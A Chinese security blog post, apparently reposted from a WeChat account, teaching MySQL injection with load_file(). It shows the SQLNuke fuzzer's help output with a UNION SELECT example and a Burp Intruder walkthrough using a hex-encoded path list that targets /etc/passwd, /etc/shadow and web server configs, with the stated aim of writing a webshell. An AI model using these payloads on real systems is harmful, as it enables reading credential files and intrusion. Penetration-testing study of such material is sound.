MySQL注入Load_File()函数应用

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

相信很多人在渗透测试过程中都有遇到过这种情况:一个MySQL Root高权限注入点,也具备读取和写入权限,这时只需要找到网站绝对路径就可以写入Webshell了,但如果利用所有已知方法还是找不到网站绝对路径呢?这节我将给大家介绍一款注入辅助工具和BurpSuite利用方式


0x02 SQLNuke工具介绍

SQLNuke是一款用ruby编写的MySQL load_file Fuzzer工具,可以在找到网站高权限注入漏洞时辅助使用,它可以将目标系统中存在的文件下载到本地。
  • https://github.com/nuke99/sqlnuke


工具的原理也很简单,使用load_file函数配合路径字典来探测哪些文件可被读取并下载到本地磁盘。
sql.rb                  //主程序config.yml              //配置文件lib/                    //基础库目录output/                 //输出目录inputs/packset.lst      //字典文件class/methods.rb        //类文件
[email protected]:~/sqlnuke-master# ./sql.rb -h    -u, --url URL      Link with 'XxxX' ex: http://tar.com/?id=1+UNION+SELECT+1,XxxX,2--    -d, --data DATA    POST DATA ex: id=-1+Union+Select+null,XxxX,null--&name=John    -x, --hex                      Hex Conversion        --proxy http://IP:PORT     HTTP Proxy        --os (linux,win)           Target Server OS (linux,win)        --agent AGENT              User-Agent for the header        --ref REFERER              Referer for the header        --cookie COOKIE            Cookie for the header    -h, --help                     Information about commands
MySQL注入Load_File()函数应用


0x03 利用BurpSuite测试

我们可以把SQLNuke工具的字典文件拷贝到本地,然后自己添加一些Apache、phpMyAdmin或者其它常见敏感文件的绝对路径。
  • http://wiki.apache.org/httpd/DistrosDefaultLayout


SQLNuke在执行时会将字典里的路径自动转换成Hex编码,而BurpSuite不会自动转换Hex编码,所以得先把拷贝下来的字典文件的路径转换为Hex(十六进制),且得在Hex前加“0x”。注:BurpSuite中有一个Encode as ASCII hex选项可以进行编码!
  • BurpSuite->Intruder->Payloads->Payload Processing->Add->Encode(Encode as ASCII hex)
0x2F6574632F7061737377640x2F6574632F736861646F770x2F6574632F67726F75700x2F6574632F686F7374730x2F6574632F617061636865322F6C6F67732F6163636573732E6C6F670x2F6574632F68747470642F6163636573732E6C6F670x2F6574632F696E69742E642F6170616368652F68747470642E636F6E660x2F6574632F696E69742E642F617061636865322F68747470642E636F6E660x2F7573722F6C6F63616C2F617061636865322F636F6E662F68747470642E636F6E660x2F7573722F6C6F63616C2F6170616368652F636F6E662F68747470642E636F6E660x2F686F6D652F6170616368652F68747470642E636F6E660x2F686F6D652F6170616368652F636F6E662F68747470642E636F6E660x2F6F70742F6170616368652F636F6E662F68747470642E636F6E660x2F6574632F68747470642F68747470642E636F6E660x2F6574632F68747470642F636F6E662F68747470642E636F6E660x2F6574632F6170616368652F6170616368652E636F6E660x2F6574632F6170616368652F68747470642E636F6E660x2F6574632F617061636865322F617061636865322E636F6E660x2F6574632F617061636865322F68747470642E636F6E660x2F7573722F6C6F63616C2F617061636865322F636F6E662F68747470642E636F6E660x433A5C626F6F742E696E690x433a5c77616d705c62696e5c6170616368655c6c6f67735c6163636573732e6c6f670x433a5c77616d705c62696e5c6d7973716c5c6d7973716c352e352e32345c77616d707365727665722e636f6e660x433a5c77616d705c62696e5c6170616368655c617061636865322e322e32325c636f6e665c68747470642e636f6e660x433a5c77616d705c62696e5c6170616368655c617061636865322e322e32325c636f6e665c77616d707365727665722e636f6e660x433a5c70687053747564795c4170616368655c636f6e665c68747470642e636f6e660x433a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c
MySQL注入Load_File()函数应用

将上图中抓取到的SQL注入点数据包发送到Intruder模块,接着选择第2项Positions,点击“Clear$”清除默认参数然后选中数据包中“load_file(xxxx)”括号里的“xxxx”,点击“Add$”即可。
MySQL注入Load_File()函数应用

这时切换到第3项Payloads加载我们事先准备好的字典,然后再切换到第4项Options设置下线程数都设置好了以后就可以点击BurpSuite菜单栏上的Intruder选项,点击Start Attack进行测试。
MySQL注入Load_File()函数应用

等测试完后,可以根据返回数据包的Length(长度)大小进行排序这里会看到返回数据包的Length都不一样,因为返回的数据包里包含了不同的SQL注入语句,所以最终输出的Length也不一样。
MySQL注入Load_File()函数应用



只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

MySQL注入Load_File()函数应用

本文始发于微信公众号(潇湘信安):MySQL注入Load_File()函数应用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: